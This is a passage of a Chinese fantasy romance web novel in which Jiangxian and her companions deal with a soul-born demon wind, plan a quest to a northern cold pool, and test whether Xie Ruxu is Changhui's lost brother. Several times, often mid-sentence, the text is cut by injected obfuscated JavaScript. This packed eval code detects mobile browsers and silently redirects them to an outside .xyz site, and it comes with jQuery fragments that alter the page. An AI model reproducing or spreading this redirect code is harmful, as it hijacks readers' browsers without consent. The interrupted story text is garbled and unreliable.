“山庄?”绛仙眸光一暗,想起了一些不太好的东西。 半晌,她才道:“对了,你之前说这里有禁制,现在没了。” “什么?”赵袂怔然上前查看,见这禁制果真是被什么人给破坏了。 “你有头绪吗?是谁干的?”绛仙问。 赵袂缓慢地摇头,但心底好像已经有了一丝头绪。 绛仙也没多问,等着赵袂站起身,行礼然后告辞。 所有人都离开,林中就只剩绛仙和谢如许两人了。 不远处五丈河的水还在哗啦啦流着,绛仙盯着谢如许朝他伸出一只手:“拿来。” 谢如许退后一步,道:“这颗妖丹你不能拿走。” “我不能拿走,你就可以了吗?!” 方才绛仙想趁着妖风平静先出手将其聚拢,取出妖丹,没想到却被谢如许出手打断,现在他又说什么“不能拿走”,凭什么? 绛仙提剑就要上前,刚刚出剑却忽然感到喉中一哽,霎时间一阵铁锈味充斥鼻腔。 她顿感不妙,甚至没来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“魂魄?”绛仙还是不解。 谢如许缓缓上前,和她一起欣赏这场金雨,道:“那些失去孩子的妇人的魂魄,方才来看满喜姑娘的风里,的确有她的母亲。” 他伸出手似乎想接住这些“雨滴”,可是它们却在接触到皮肤的那一霎那消失了,掌心并没有什么感觉,像是人的魂魄,消失了,就好像从来没有出现过一般。 “她们的爱、恨、怨、怒,聚集在一起,化作了每年冬日的一场风,日复一日年复一年,她们一直在寻找自己的孩子,直到自己的意识被彻底磨灭,变成了靠着执念存在的妖风。好在满喜姑娘的母亲离世时间不长,她的意识还在,她还能认出自己的女儿。” 绛仙垂眸,算是明白了这妖风为什么一定要带走孩童,可是魂魄想要存在这么久不消散,期间还能吸引吸收其他魂魄可是很难的,更何况这些魂魄还能聚成这么大的一场风。 就单单是产生足够多的魂魄做基础就很困难,既要身死的时间相隔够近,还要这些魂魄生前的遭遇大体相同。 “究竟是在什么样的情况下才能生出数量这么多意识这么足的魂魄呢?” 谢如许收起了唇边的笑,认真道:“战争。” 27. 寒潭 两人回到村里的时候天已经快亮了。 谢如恙和长徽受于海邀请去他家里吃饭,看着桌上摆着的三菜一汤,山珍海味说不上,色香味俱全是一定有的! 谢如恙摩拳擦掌,拿起筷子正准备夹那块看起来亮闪闪油润润的排骨,门却被砰的一声打开。 感受到从门外涌来的阵阵冷气和杀气,他拿筷子的手有些微微颤抖。 长徽先站起身,“谢公子,绛仙姑娘。” 谢如恙慢吞吞地放下筷子,扯出一个笑来转头:“你们要吃饭吗?于大哥家的饭看起来很好吃的样子……” 绛仙瞥了他一眼,沉默地走到他身边,他也很是懂事地站起身来把凳子让给绛仙坐。 谢如许掩唇轻咳了几声后,也往前几步坐在了原先长徽的位置上。 此时此刻,坐着的两人一个愤怒一个尴尬,站着的两人一个担惊受怕一个不知发生了什么。 长徽站在谢如恙身边,甚至不知道自己为什么突然就站在这里了,总觉得气氛有些不对。 “我……” 绛仙砰的一拍桌子,其余人感觉整个房子都颤了三颤。 谢如恙差点就跪下了,他颤抖地解释道:“其实我只是想来接满喜回去……” “我有没有说让你等几天等几天,你聋了还是脑子被驴踢了把我说过的话给忘完了?!”绛仙放在桌上的手握成拳。 长徽解释道:“有我在,无妨。” “你给我闭嘴!我说你了吗你就开口?急着去投胎吗?” 被绛仙这么一吼,长徽吞了吞口水,后退半步。 绛仙继续将矛头对准谢如恙,怒斥道:“一天天的就你热心,热血上头什么都干得出来,大晚上颠着你那个死腿到处跑,给你打断了你就满意了是不是?做事一点后果也不顾,说也不说一声,干什么?离家出走?你有本事一声不吭就往外跑你有本事别回你那个家!” 绛仙气得发抖,谢如许柔声安抚道:“少年人急躁些是应该的,况且他们也是为了帮满喜姑娘,善良是好事,别生气了。” “我不生气?”绛仙看向谢如许,问,“你这个哥是怎么当的?不是说找人给看住了吗?怎么他们就跑出来了?他们出什么事你开心吗?倒是哭的还不是你!现在在所有人面前唱红脸,显得我斤斤计较是吗?” 谢如许点了点头,看向面前站着的两人,轻声责怪:“阿绛说得对,再怎么样你们出门也该和我们说一声,不然我们也会担心的。” 长徽微微颔首,绛仙又道:“你也是,带着人就跑啊,拦都拦不住是不是?谢如恙是个傻子你也跟着犯蠢是不是?……现在不说话了,刚刚不还帮他解释吗?现在帮你自己解释解释。” 长徽侧过头,低声问:“我现在要说话吗?” 谢如恙低着头,几乎要把头缩进领子里了。他声若细蚊:“说也不对,不说也不对啊。” 绛仙深吸一口气,指着两人道:“下次再有这种情况,你就直接死外面算了!气死我了……” 说罢,她最后一拍桌子,起身离开,谢如许的目光在两人脸上转了一圈儿后起身跟上,“他们也知道错了,忙了一整晚不去吃些东西吗?” …… 两人路过院子的时候,于海一家三口正坐在院子里,男砍柴、女洗衣,身边还围着一个四处乱窜的小姑娘。 等两人走远,那小姑娘如同葡萄般的大眼睛眨了眨,轻声道:“爹娘,这场面好眼熟!” 于海将砍好的柴抱到墙角,带着宠溺呵斥道:“去去去,大人的事情小孩别掺和。” 小姑娘扁扁嘴,哒哒跑到娘亲身边用脸蹭着她的胳膊,妇人的手沾了水,冷冰冰的,触碰到小姑娘脸颊的时候凉得她一个激灵。 随后就是咯咯的嬉笑声。 “对了长徽兄。”谢如恙看着院中其乐融融的一家人忽得想起了那晚的梦,梦里娘亲也是这样逗他笑的。 “怎么?”长徽坐在桌边擦拭着自己的剑,没有回头。 “刚刚多谢你帮我们设结界,不然我的脸现在就不能看了!”说着,他宝贝地摸了摸自己的脸。 长徽却一怔,问:“什么结界?” 谢如恙懵懂道:“用结界帮我们挡光挡飞屑啊,不是你吗?难道是阿绛?” 长徽猛得站起身,将剑往背上一背,“抱歉,我得回去看看,先告辞了。” 说罢他推开门就往刚刚回来的方向跑去,谢如恙跟了一段,见追不上只好大声对他喊:“既然不是你,那我提醒一下啊……” “长徽兄,你的剑,掉屑!!!” 与他的声音同时响起的是一声嘹亮的啼叫,在与长徽相反的方向,一片鱼白泛起,明明欲曙。 长徽逆着初生的太阳一路跑回了河边的林子里。他呼吸有些急促,看着周围影影绰绰的树木视线一时有些模糊。 方才他单顾着抵御那妖风了,如今再回到这里果真感受到了一阵熟悉的气息。 是兄长吗? 他握着剑的手渐渐收紧,指尖用力到发白。 可是在这林子里转了一圈儿,除过树木和飞鸟竟没有一个人影。 长徽提起的心再一次沉沉落下。 兄长到底有没有死?他究竟去了哪里?如果他在,那为什么不愿意出面见他?哪怕是一眼也好啊…… 长徽寻找无果,深吸一口气,正准备要离开,却突然听到身侧的林子里隐约传来一阵急促的风声。 他赶忙顺着那声音传来的方向定睛一看: ——是一个人影! 他一怔,很快反应过来后朝着那道人影追过去,可是那人影跑得极快,像是一片难觅踪迹的黑云一般,不过一眨眼的功夫就消失了。 人影消失后,长徽站在原地,俊眉蹙起,他发现那道黑影不是兄长,但是却有一种说不出的熟悉。 那是谁?他来这里有什么目的?那抹和兄长相似的气息又是为何? 思忖许久,长徽最后还是带着失落和疑惑回了谢府。 …… 绛仙在谢府待了不过几日,突然又接到了赵袂的消息,说要邀请几人前去宫中做客,说是答谢? 绛仙不想去,奈何谢如恙兴奋得很! 这可是千载难逢的和赵袂拉进关系的机会啊,而是宫内的美食美景,每一个都让他心旷神怡,怎么可能会拒绝? 于是,在谢如恙的生拉硬拽下,绛仙还是站在了宫中的石阶上。 看着面前一树树绽放的白梅树,绛仙不由地睁大了眼睛。 这些树被人养得极好,可谓玉瘦香浓,绽开的花苞随风轻颤,娇嫩非常,也不知是何人所值。 想着,绛仙忽然瞥到有一队人拎着斧头从角落里窜出来,冲着那树开得最艳的梅树就要来一斧头,她连忙上去阻止:“喂,你们要干什么?” 领头那人道:“大人吩咐,这园子里有树长斜了,得全部砍掉重植。” “全部?!”闻言,绛仙仔细看了几眼才发现一棵稍斜一分的梅树,只因为一棵倾斜就要将整园的树全部砍掉,何其荒唐! 于是她道:“这不仔细看当真看不出来,你们把这些树全部砍掉,岂不可惜?” 语落,对面的领头还没有开口,就又有一道声音从不远处传来:“此言差矣,这园子所有的树植在一起,同饮一河水,同晒一份光,若其中有一棵斜了,那就说明这园子的树都会斜,只不过是或早或晚的问题,所以要想让这园子规整那就要重植一园子的树,好生看管规制,方能整齐,不逾矩。” “荒谬!”绛仙愤愤回头,对上一张带笑的白面。 她蹙眉,“又是你?” 上次两人在卢府的冲突她还记得清清楚楚,现在又来和她说这些大道理。 明璟对着绛仙微微颔首道:“巧遇。” 绛仙哼声回:“不巧。” 明璟伸出一只手示意绛仙离开,“既如此,那绛仙姑娘请吧。” 绛仙不服:“凭什么?” 明璟指了指这座梅园,道:“就凭这园中的一花一树都是我亲手所植,此处是我的院落。”说罢,他又收回手,看向绛仙的目光里带了些说不清道不明的暧昧意味,“还是说,绛仙姑娘喜欢这园子,若是喜欢,我将这园子赠与你如何?那样这树就不必砍了,绛仙姑娘也不必心疼了。” “你!” 话音未落,原本安静待命的那队人突然对着前方抱手行礼,道:“长公主殿下。” 绛仙循声转头,果然看到了正在缓步朝此处过来的赵袂。 走近,她一挥手,道:“免礼。”随后又看向绛仙和明璟两人,道,“看样子,二位聊得不错。” 明璟率先回答:“愉快非常。” 绛仙抱起手臂,哼一声:“莫名其妙。” 赵袂自然看出了两人之间的怪异氛围,但还是顺着刚刚的话道:“可惜,我有件要事需寻绛仙姑娘,怕是要打断二位了。” 明璟从善如流,“既是殿下相邀,那臣便来日再寻绛仙姑娘……”他顿了一下才道,“叙旧。” 绛仙跟着赵袂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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绛仙眯了眯眼,目光在赵袂身上转了一圈,开门见山地问:“你支开谢如恙他们单独带着我出来,总不会就是看看花,看看画之类的吧?” 赵袂垂下眼,摇曳的灯火照得她的脸忽明忽暗,眼中带着的丝丝忧郁在此刻格外明显。 半晌,她抬起眼,没多说什么,只是带着绛仙继续往里走,直到上了一段楼梯,来到一面书墙前才停下。 她转过身,正色道:“今日请绛仙姑娘前来是为了再求你帮我办一件事。” 绛仙诧异:“又?” 赵袂连忙道:“若是绛仙姑娘担心我出尔反尔,我可以先回答你的问题,然后在进行现在这笔交易。” 听赵袂的意思,是把上次救出赵承胤的事情算在她头上了,可是她根本没出多少力气,就连那颗妖丹都没有拿回来。 没出力但有报酬拿对很多人来说都是天上掉馅饼的喜事,可对绛仙来说却是千般万般的难受。她做生意可从来是讲究你来我往的。 于是,她道:“上次我没出多少力不算。这次交易我做了,等完成了你的委托,你再给我报酬好了。” 赵袂笑着解释:“阿胤的事情绛仙姑娘没有功劳也有苦劳,怎么能……” 绛仙伸手打断:“再说我就不做这个交易了。” 赵袂一哽,但看绛仙这副表情也只好作罢。 反正对她而言都是好事。 “阿胤的病一直是我心里的一块石头。靠着国师的药续命也不过是暂缓之计,身为一国君主最怕的就是受他人制约,更何况是身家性命的大事?所以,我这些年来一直在找帮阿胤治病的办法,前些日子,我知道了。”说罢,她从书墙之中拿出一卷小小的卷轴。 “极北之地,有寒潭,栖玄武。玄武守天书万卷,可尽解世间难事。” 她将卷轴递给绛仙,绛仙展开一看,入眼就是背上缠着蛇的大乌龟,之后便是一长段密密麻麻的文字。 每一个字都小如蚊蝇,绛仙心道可真是难为赵袂从这一堆蚂蚁里找到自己想要的东西了。 等她细细看完,才明白这么一长串神乎其神的文章其实就写了一句话:勇敢的侠士,去寻宝吧! 果然,卷轴一转,绛仙在背后发现了一张地图,上面还特意标注了寒潭的位置。 “你都知道了为什么不派人去找?”绛仙嘴角抽了抽,合上卷轴。 赵袂眉间隐隐无奈:“下人做事,终究是不放心。” 28. 退亲 “还有很重要的一点是……”她顿了一下,然后转过头看向绛仙,唇边似乎带着一丝说不清道不明的笑意,“这一次,我也要与你同去。” “什么?!”绛仙惊了一瞬,旋即问道,“为什么?怕我做不到?” 赵袂沉默着笑笑,转身后徐步朝窗边走去,伸手推开紧闭的窗户,半空中漂浮着的尘埃一下子被吹进来的风打乱了轨迹,慌乱的四处碰撞。 这让绛仙不住想起了那夜和谢如许一起看到的漫天金雨。 赵袂看着窗外和煦的阳光,声音似叹非叹:“寒潭天书可解世间难事,我想解的难事又何止阿胤的病一件?” 绛仙不以为意:“你还想做什么?” 赵袂微微侧身,问:“你可知我方才说的那位冯夫人为何孤身出塞,游走四方?” 绛仙道:“止战。” “但是这方法也太蠢了!”她摊手看着赵袂,“有人的地方就有争斗,怎么可能只靠一张嘴就能上天下太平?况且就算能缓解一时的争斗,能缓解一世吗?吵架打架的原因可从来不止一个。要我说,还得是战以止战,打服了,那些人才会安稳。” 赵袂轻笑一声,有些无奈:“绛仙姑娘简简单单一个‘打’字,说的轻松,那你可知战争之下,会发生多少惨事?” 绛仙撇嘴:“长痛不如短痛,省的以后麻烦。” “人生在世,做什么事情不麻烦?”赵袂微微垂眸。 绛仙看着她的侧脸突然一愣,莫名觉得她方才说话的样子竟有几分想谢如许。 怪了,她怎么现在什么事情都能想到谢如许? 绛仙顿时起了一身鸡皮疙瘩,连忙道:“好,那时间你定,到时候一起走就是。” 赵袂点头,“那便说好了。” …… 和赵袂道了别,绛仙没有去找谢如恙他们几个,转头就出了皇宫。 街上人声鼎沸,各种声音和气味混杂在一起,绛仙快速地在人群之中穿梭,最终停在了一家飘着酒招的铺子前头,找了处空荡的台阶,席地而坐。 没过多久,她等的人就提着一满当当的一壶酒出了门。 绛仙噌地站起来,走到他身边搭上他的肩膀:“你叫……李良?” 李良原先还笑呵呵地拿着酒壶想一醉方休,看到绛仙后竟是右半边身子全僵了,僵硬着转过头讪笑:“这位姑娘,您喝酒……?” “不喝。”绛仙凑近了些,“跟你打听个事。” 李良干笑了几声:“您想打听什么?” 绛仙略一挑眉,拽着他到了旁边的一个小巷子里。 李良看着对面靠在墙上的绛仙,再看看逼仄的巷子,生怕自己那句话惹得对方不顺意,她就把自己给灭口了。 想起那夜绛仙一剑把树干劈成碎屑的情形,他不由吞了吞口水,生怕下一瞬自己就变成了碎片。 “您问,小的一定知无不言言无不尽。” “谢如许。”绛仙道。 “什么?”李良似乎没太明白。 绛仙抱臂,很是耐心地重复一遍:“谢如许,把你知道的有关他的事情全部都告诉我。” “这……” 李良不懂了,这姑娘和谢二公子关系那般要好,要问谢大公子的事情直接问二公子不是更好?何必要来问他这个外人呢? 他疑惑的间隙,绛仙已经从袖中拿出了玉剑,用袖子仔细地擦拭着。 李良似乎已经能感受到剑身的寒气了。 他赶忙道:“我说,我知道的我全说。” “谢如许,是先皇重臣谢大将军的长子,未及弱冠便扛起整个谢家,其人亦是面若冠玉,清雅俊逸,简直是举世无双的世家公子……” 绛仙叫停,“我没让你夸他吧?” 李良顿了一下,试探着问:“那我……说点不好的?” 绛仙微笑,李良忙道:“他确实有一个经常被众人说道的缺点,那就是与凌家小姐的婚事。” “什么?他……”绛仙心跳一滞,“什么婚事?他还有婚约?!” “有过,现在已经没有了。”李良见绛仙的表情有变,似乎想到了什么,解释道,“这件事让我这个外人说也难,毕竟是人家的家事。大概情况就是谢家和凌家两家是世交,再加上这两位的八字相和,所以两家长辈就给他们定了亲,谁知随着年岁渐长,凌小姐不乐意了,吵着要退亲,但是谢公子不愿意放手,日日前往凌家讲和,好不容易凌小姐松口了,这谢家公子不知这么的就又不乐意了,拉拉扯扯许久,最后还是把这桩亲事给退了。” 绛仙低头似是沉思,李良也说到妙处,颇有深意地拍拍她的肩,安慰道:“所以啊,姑娘您也不必伤心,这感情这回事谁都说不准,反正人家现在没有亲事,你还是有机会的。” 绛仙先是想到那晚那位紫袍官员对谢如许的针锋相对,心道难怪,后又一惊,问:“我伤什么心?” 李良一副过来人的样子,“我懂,谁年轻的时候还没一场轰轰烈烈的爱情呢……” “什么爱情不爱情?我就打听一下就是爱情了?我要是说我要杀他呢?”绛仙用剑柄指着李良,他这才闭了嘴。 “再没了?” “没了。” 绛仙觉得这人狗嘴里也吐不出象牙来,干脆离开,但临走前又忽然想起,转头问一句:“你刚刚说他忽然退亲?是在什么时候?” 李良正要溜走,听她这么问又仔细想了想,“大概是在……十七左右?” “十七岁?”绛仙眯起眼,之前谢如恙说过,谢如许在十七岁的时候生过一场大病。 说不准是那年发生了什么。 “行了,你走吧。” 打发走了李良,绛仙正准备往谢府的走,却在路过醉八仙时被头顶的一道声音给叫住了。 “绛仙姑娘此刻不是应该在宫中吗?” 听到熟悉的声音,绛仙抬头,见谢如许正坐在窗边,手中拿着一杯清茶,闲闲地摇晃着。 “你怎么在这儿?”绛仙面色不善。 谢如许放下茶杯,拂袖道:“既有缘相遇,不妨上前一叙?” 绛仙嘟囔一声有病,然后转身走进了醉八仙。 上了楼,坐在谢如许的对面,绛仙问道:“谢公子好兴致,拖着病体也要来这里喝一杯……茶?”她端起面前的茶杯嗅了嗅,是味道清新的清茶,再多的她也闻不出来。 谢如许轻笑道:“绛仙姑娘也是好兴致,有什么话不能当面问我?” 绛仙一顿,“你刚刚看到了?” 谢如许笑而不语。 “那你十七岁那年究竟发生了什么?”绛仙双手撑在桌子上,双眼死死盯着他。 谢如许却道:“十七岁?忘记了。” “你!”绛仙咬牙,“我怎么记得你之前说过不会骗我的?” 谢如许眨眨眼,无辜道:“我发誓,我当真没有骗你。” 绛仙都快被气笑了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850711|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这人嘴上说着为什么有事不来问他,真的来问他了他又装傻充楞,是在把她当猴子耍吗? “你别让我知道你的身份,如果知道了我一定会把它宣告天下,让所有人都知道你是个什么东西,到时候你就想着要怎么和你的好弟弟解释吧!” 绛仙一拍桌子就想要走,谢如许轻抿一口茶,淡淡道:“寒潭难寻,这一路需得万分小心。” 绛仙又转了回来,凑近了看他,问:“你是怎么知道的?” 如果说刚刚她和李良的对话是谢如许有意偷听方才得知,那也还算说得过去,可她和赵袂交谈的内容他又是怎么知道的?皇宫守卫森严,他怎么可能悄无声息的进去? 况且,如果谢如许自始至终一直在暗处窥视,她怎么可能半点异常都感觉不到? “你怎么知道的?你究竟想做什么?”绛仙手下用力,两人都听到了从桌下传出的碎裂声响。 谢如许轻笑,“总有一日,你会明白的。” 又是谜语? 绛仙恨不得把面前这人的嘴撕烂,这人除了这些神神叨叨的话就说不出其他的东西了吗? “好,你给我等着!” 丢下这句话,绛仙气冲冲地下了楼。 谢如许温柔注视着她的背影,直到她消失在人潮汹涌的街角,才收回了目光。 北上之旅,怕是凶险万分,也不知会不会发生什么意料之外的情况。 …… 次日一早,绛仙刚出院门就看到不远处晨练的两人。 她走上前去,十分自然地靠在谢如恙身上,让本就扎着马步摇摇欲坠的他晃得更厉害了。 “你你先走开啊,我还有半个时辰呢!” 谢如恙结结巴巴地驱赶,绛仙充耳不闻,转而看向在一边“监工”的长徽,夸道:“长徽公子好手段,上次逃跑的时候,这人跑得还当真不赖,背着一个人都能跑那么快,有进步!” 说完,她奖励似地拍拍谢如恙的垮下的脸。 “祖宗,姑奶奶,我求求你了放过我吧!”谢如恙哭丧着脸,连连哀求。 绛仙这才饶过他,直起身子。 “长徽公子,借一步说话?”她走到长徽身边,一拍肩膀。 长徽看看谢如恙,似乎有些不放心。 绛仙一打响指,从不远处的天边飞来一只浅蓝色的小鸟,叽叽喳喳叫几声后停在了最近的枝头上。 “这样就放心了吧?有它看着,偷不了懒。” 谢如恙的脸更丧了,“喂,你们说话就说话,让我休息一下都不行啊?” 绛仙微微侧身,笑道:“不行!” “为什么?!” 绛仙神神秘秘地道:“因为不久后,我们就要出一次远门了,很危险的。” 一听出远门,谢如恙来了兴致:“真的吗?去哪儿?干什么?” 见他这么兴奋,绛仙笑得更开心了。 “开心吗?开心就好好练,到时候给你机会让你好好发挥发挥。” 谢如恙立刻中气十足地道:“好嘞!” 绛仙叉着腰,觉得自己这招简直太妙了。 带着谢如恙和长徽,再想办法扯上谢如许,倒时候就不信那人还能忍得住不露破绽! “绛仙姑娘。”长徽在她身后道,“你要同我说什么?” 绛仙回头,扬了扬下巴:“找个没人的地方再说。” 长徽想了想,点头道:“好。” 29. 去过 绛仙带着长徽一起行至一座凉亭之下,正巧是那日被绛仙一树压塌的凉亭,重新修缮过后,更显清雅别致,已入冬,凉亭之下的池水中已经成了空荡荡一片,就连上次几人所见的残枝败叶都已经被清理干净了。 池水清澈见底,一只飞虫或许是被这清澈迷了眼,一不小心掉进池中,泛起一圈又一圈的涟漪。 绛仙的声音和这圈涟漪一同响起,她问:“长徽公子,你还在找你的兄长吗?” 长徽顿了顿,不知道她为何突然问起这个,虽然他不敢笃定自己看人的眼光,但是以他这些天对绛仙的了解,她绝对不是那种会主动帮人的性格。 但是她既然发问了,自己也不能不说。 他抿了抿唇,道:“自然。” 绛仙露出一个讳莫如深的笑,凑近了些道:“那你之前是不是说过我身上有你熟悉的气息?现在还有吗?” 长徽点头,“有,一直都有。” 绛仙了然。 低下头拿下自己腰间的挂着的锦袋还有其他随身的东西,问:“现在还有吗?” 长徽再次点头:“还有。” 绛仙一挑眉,朝着他的方向走了几步。 她这几步走得莫名,脸上还挂着一丝似有若无的笑意,饶是内心少有波澜的长徽,也不由自主地往后退了几步。 直到他的背靠在朱红的圆柱上,他才疑惑开口:“绛仙姑娘,你这是?” “你闻闻,你说的那抹熟悉的气息在哪里?” 绛仙凑得越来越近,长徽心中默念得罪,一个闪身离她离得老远。 他站在亭子的另外一边,抿唇对绛仙道:“绛仙姑娘,不妥。” 绛仙抱臂转头,干脆懒懒地靠在廊柱上,问:“哪里不妥?你不是想找你兄长吗?有线索你就不打算追根究底查个清楚。” 长徽道:“若是其他线索我自然愿意,可是……绛仙姑娘此举不妥。” 说完,他对着绛仙行了一礼,道:“虽说长徽少知人事,但也知晓男女授受不亲这个道理。” 绛仙歪了歪嘴,有些无奈。 “行了行了,不闻就不闻。不过除了这个我还有一件事要和你说。”绛仙唇角勾起,“你过来一些。” 长徽一动不动,绛仙等了一会儿后蹙起眉,“你不过来我怎么和你说?” 长徽还是不动,绛仙烦了,叉起腰:“我这是帮你,你可别不识好歹。” “可是……” 他欲言又止。 绛仙追问:“可是什么?” 长徽眼神有些躲闪,慢吞吞道:“谢兄说,让我不要和你多说话,特别是你脸上出现这种表情的时候。” 绛仙摸了摸脸,问:“为什么?” “因为一般这个时候,你就要开始唬人了。”长徽答得确信。 绛仙一听恨不得把谢如恙给扁一顿,她又不经常唬人!再说,今天她完全没有唬人的意思好吗? 可以说她有点私心,但不能说她要唬人玩儿啊! “今天我不唬你,我是真的要帮你。”绛仙长舒一口气,道,“既然你不愿意过来,那我们就这么说。我问你,你可还记得上一次我们因为赵袂针锋相对,谢如许却突然吐血那事?” “记得。” “那你就不好奇,他为什么吐血?而且除此之外,你就不觉得他的身份有异?”绛仙眯起眼,像只偷腥的狐狸。 见长徽陷入了沉思,她继续道,“还有,他嘴上说着患病身弱,可上次妖风吃人一事,自始至终他可从来没表现出什么病弱模样来,你就不觉得奇怪吗?” “你的意思是……”长徽有些迟疑。 “有没有一种可能,他就是你那个失踪的兄长?”绛仙开门见山。 这个结论并非她信口胡诌,而是日思夜想有理有据的。 其一,谢如许身份有问题这件事显而易见,但绛仙不解的是,他究竟是个什么东西?直到那夜谢如许说出那两个字“战争”时,绛仙才有了一点眉目。 那日去皇宫时她得知大昭立国八百年,至今最大规模的一次战争就是立国前的那一战,也就是八百年前,所不难确定,谢如许嘴里说的战争就是八百年前的那一场。 他既知晓那“妖丹”并非妖丹,而是怨气凝结而成的“怨丹”,又把这怨气的来源说得那般清楚,这说明他的身份一定不俗,功力也一定不弱。 而刚好长徽说自己的兄长失踪也是在八百年前,又是个山中的神仙,那会不会谢如许的身体里装着的就是他的兄长? 其二,长徽刚见面的时候就说自己身上有他熟悉的气息,谢如许又恰巧能清晰的知道自己的所作所为,身处何地,那会不会他就是靠着那一抹气息找到的自己呢? 如此整合起来,一切的一切未免太过巧合,让绛仙不由自主地联想在一起,然后得出一个惊人的结论: 谢如许在十七岁那年生的病,让他换了魂,现在他身体里的,正是长徽那位寻找多年的兄长。 绛仙对自己的推测胸有成竹,唯一无法理解的就是自己身上那抹熟悉的气息究竟是什么时候沾上的,以及…… 他既然都是个神仙了,为什么还要缠着自己? 对面的长徽还在思索,好一会儿才抬起头,面露迷茫:“可是,我并未在他身上发现什么异常。” “那你为何不试试?”绛仙问。 “怎么试?” 绛仙挑眉:“你们不是神仙吗?就每个什么可以验证的法器之类的?” 长徽再次陷入沉思,语速缓慢:“可是,兄长的修为要比我的高,他若有意隐瞒,我不一定能发现。” 半晌,他终于抬起了头,看向绛仙的眼神中带着一丝不确信:“不过,我确实有个办法可以一试。” “走!” 说干就干,绛仙甚至没有问他的办法是什么,拉着他就往谢如许的院子走。 进了院子,只见谢如许正披着狐裘坐在院中饮茶,气定神闲,好像在等他们两人一样。 绛仙顿觉不妙,总不能自己的每一句话他都能听到吧?那她还有什么隐私可言吗? 她深吸一口气:不要脸! 谢如许端着茶杯的手一顿,投给绛仙一道带着笑意的眼神。 绛仙突然觉得自己今天的谋算怕是要落空了。 长徽浑然不知地走上前,将背上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850712|175847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背着的剑递到谢如许面前,道:“谢公子,你可以帮我拿一下吗?” 边上的绛仙扶额:好莫名其妙的要求! 谢如许肯定是提前知道了两人的计划,也没问为什么,伸出手接过剑。 这剑冰凉刺骨,剔透晶莹,无论是剑柄还是剑身都是如此,通体如同冰晶所化,带着一股锐利的寒气。 “这剑好看,不知叫什么名字?”谢如许轻笑着抚了抚剑身。 长徽仔细盯着剑,答道:“琼英。” “琼英吗?好名字,果真适配。”谢如许上下打量了许久才将剑双手递上,“此剑有灵,公子定要好生爱惜。” 长徽迟疑着接过剑,眼中隐隐失望。 “会的。” 绛仙深吸一口气,看着长徽朝自己走来的声音,差点没一口老血吐出来。 长徽走近,对着绛仙摇头:“不是。” “你这剑有什么能力吗?”绛仙扶着树,生怕自己脚下一软倒下去。 “这剑是昆仑冰雪所铸,如遇到昆仑中人会……” 话没说完,长徽就感到自己手下一热,一抬眼竟看到这剑在绛仙手下发出点点炽热的荧光,似雪花一般绕着剑身打转。 绛仙立刻收回手,嘴角抽了抽:“这能说明什么?” 长徽正要开口,绛仙抢先一步补充:“首先我确定,我不是你哥,我也没去过昆仑。” 谁知长徽摇摇头,认真道:“我知道了。” 绛仙等了片刻,长徽才确信道:“我兄长碎了。” “啊?”绛仙下巴差点没掉下来,“什么碎了?” “魂魄碎了,你身上或许有我兄长的一片魂魄。” “就算是碎也是在八百年前吧?那时候我可还没出生。”绛仙为自己辩解。 “其实,上次在五丈河边,我也感受到了兄长的气息,可是我找不到他。”长徽垂下眼,沉默许久才转过身,朝着门外走去。 他的背影落寞,即使背挺得极直也能看出一丝垂头丧气来。 绛仙快步走到谢如许面前,见他也在看着长徽的背影,一拍桌子:“你究竟是不是他哥?” 谢如许没有回答,而是轻声道:“天下没有不散的筵席,人与人之间总会有说再见的那一日的。” “你……”绛仙一口气提起,却又卸下,“莫名其妙,你爱承认不承认和我没关系。但我只有一个问题想问,你为什么非得缠着我?还有,长徽说我身上有他熟悉的气息,和你有没有关系?” 谢如许微微一笑,“你方才说你没有去过昆仑?” 绛仙一怔,笃定这人一定能听到自己的话,无论相隔多远。 “对啊,我出生到现在十七年,从来没去过什么昆仑不昆仑的。” 谢如许却道:“去过的。” 绛仙一头雾水:“怎么可能?” 前十五年她在那个鬼地方出都出不去,最近的两年她为了任务四处游走,也从来没去过什么昆仑山,最西也就去过蜀中,哪里来的去过? 谢如许站起身,一双如水的眸子看着她,薄唇轻启,最后却没说出什么话来。 但是,她真的是去过的。 30. 半见 是夜,绛仙百无聊赖的靠在屋脊翘起的脊兽上,手中闲闲转动着双月,一下又一下,十分缓慢。 她的目光投向远处空荡的街道,耳边梆子声响了三次,此时已经是三更了。 这些天她一直在想谢如许,想他天下那么多人,为何偏要缠着自己?想他兄弟都找上门来了为何不认?想他和那位真正的谢家公子究竟是何关系?究竟发生了什么? 想他那日说的日后与过去究竟是什么意思? 